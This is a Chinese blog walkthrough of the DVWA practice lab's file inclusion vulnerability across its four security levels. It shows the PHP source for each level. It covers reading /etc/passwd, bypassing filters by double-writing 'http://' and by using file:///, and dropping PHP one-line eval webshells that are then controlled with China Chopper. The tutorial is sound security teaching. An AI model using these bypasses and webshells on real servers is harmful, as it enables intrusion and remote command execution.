DVWA靶机-文件包含漏洞(File Inclusion)

DVWA靶机-文件包含漏洞(File Inclusion)

之前DVWA的两个漏洞,暴力破解及命令注入,已经介绍过,今天介绍一下DVWA靶机的文件包含漏洞,文件包含漏洞,同样有4个安全的等级,接下来将针对于不同的安全等级,对文件包含漏洞进行剖析。

暴力破解(Brute Force)
命令注入漏洞(Command injection)

文件包含

文件包含是指,WEB前端开发人员将重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,无需再次编写的这种调用过程。通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致,包含了WEB根目录之外的文件进入,导致文件信息泄露,或注入恶意代码(木马)。

文件包含漏洞产生的原因是在通过PHP的函数引入文件时,由于传入的文件名没有进行合理校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

文件包含分类

文件包含漏洞分为RFI(远程文件包含)和LFI(本地文件包含漏洞)
1.本地文件包含LFI(Local File Include)
2.远程文件包含RFI(Remote File Include) 需要开启PHP文件中的,allow_url_include=on和allow_url_fopen=on

DVWA中开启了远程文件包含

在这里插入图片描述

1.DVWA-LOW等级下的文件包含漏洞

(1)本地文件包含

首先在WEB页面回显中有三个文件可打开,file1.php、file2.php、file3.php。点击我们会转到该PHP文件所写的页面。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以发现可以通过page=xxx来打开相应的文件,此时漏洞点就暴露出来,此时我们可以尝试打开一些私密性的文件,以 /etc/passwd/var/www/phpinfo.php文件为例,只要有足够的权限,在此处就可以打开想打开的文件。
在这里插入图片描述
在这里插入图片描述

(2).远程文件包含

由于我的虚拟机没有网络配置,上不了网,在此无法演示,但是同下图类似,我们可以通过page=http://www.baidu.com来直接跳转到百度网站,如下图所示,我们可以通过本地IP-192.168.203.149通过HTTP协议来访问本地的phpinfo.php文件

漏洞点:远程包含过程中,我们可以在page之后写入任何网站,如果用户常常使用该网站,对此网站的信任度高,也就是说,网站头部不变,page后面的我们可以自己构造,也可以将url进行长短的变换,更加有迷惑性。
在这里插入图片描述
由于我们只有本地环境,我们可以写一个txt木马文件,通过http来打开本地的txt木马文件来实现远程包含。
创建木马txt文件,写入木马

cd /var/www/
touch muma.txt
vim muma.txt
<?fputs(fopen("muma.php","w"),'<?php @eval($_POST[123]);?>')?>

此txt木马文件在/var/www/目录下,我们打开后,会自动创建muma.php文件在当前web页面目录下
执行之后,页面回显为空,此时已经执行<?fputs(fopen("muma.php","w"),'<?php @eval($_POST[123];)?>')?>,我们在Command Injection名注入漏洞中可以查看到。
在这里插入图片描述
PHP一句话木马文件创建成功,我们用中国菜刀软件连接,就可以执行任何操作。
在这里插入图片描述
在这里插入图片描述
LOW等级下的源码
low等级下未定义任何安全策略,以及过滤操作。

File Inclusion Source:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

2.DVWA-Medium等级下的文件包含漏洞

(1).本地文件包含

在medium等级下,本地文件包含与low等级下无差别,都可以通过page=xxx指定相应的文件打开私密文件,此处以 /etc/passwd/var/www/phpinfo.php 文件为例。
在这里插入图片描述
在这里插入图片描述

(2).远程文件包含

在medium等级下,我们发现基于本地IP-192.168.203.149通过http打开本地文件无法打开
在这里插入图片描述
查看PHP源码
File Inclusion Source:
str_replace()函数: 过滤了http://、https://、…/、…\

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

突破问题: 我们在SQL注入中经常性的遇到类似的过滤问题,我们可以通过双写的方式来绕过该过滤。

同low等级一样,我们在 /var/www 目录下创建muma1.txt木马文件,用双写http://绕过过滤,打开文件执行。

创建木马txt文件,写入木马

cd /var/www
touch muma1.txt
vim muma1.txt
<?fputs(fopen("muma1.php","w"),'<?php @eval($_POST[456]);?>')?>

通过http打开文件,htthttp://p://192.168.203.149/muma1.txt
在这里插入图片描述
WEB回显为空,应该已经执行了该txt木马文件,我们通过Command injection来查看,muma1.php文件是否创建成功。
在这里插入图片描述
我们用中国菜刀连接,测试PHP一句话木马是否执行。
在这里插入图片描述

3.DVWA-High等级下的文件包含漏洞

(1).本地文件包含

同low与medium等级一样,我们对本地私密文件/etc/password与/var/www/phpinfo.php文件进行page=xxx.形式打开文件,此时WEB页面回显ERROR:File not found!,由此我们判断,High等级下必定有更强的过滤。
在这里插入图片描述
查看源代码:
File Inclusion Source:
fnmatch()函数: 根据指定的模式来匹配文件名或字符串,也就是说我们在输入时必须按照fnmatch()函数指定的形式输入文件名。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

此时,我们可以使用file协议来打开相应的文件,file协议的基本格式为file:///文件路径
在这里插入图片描述

(2).远程文件包含

同样的在 /var/www/ 目录下创建muma2.txt木马文件,用file:///打开文件执行。

创建木马txt文件,写入木马

cd /var/www
touch muma2.txt
vim muma2.txt
<?fputs(fopen("muma2.php","w"),'<?php @eval($_POST[789]);?>')?>

通过file:///var/www/muma2.txt打开文件。
在这里插入图片描述
WEB回显为空,应该已经执行了该txt木马文件,我们通过Command injection medium等级(高等级有强过滤,无法查看)来查看muma2.php文件是否创建成功。
在这里插入图片描述
用中国菜刀工具连接,测试PHP一句话木马是否执行。
在这里插入图片描述
PHP一句话木马执行成功
在这里插入图片描述

4.DVWA-impossible等级

impossible等级中指定了只能进入4个页面,也就是WEB页面中能回显出的file1.php、file2.php、file3.php以及当前页面include.php.
File Inclusion Source:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 
  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值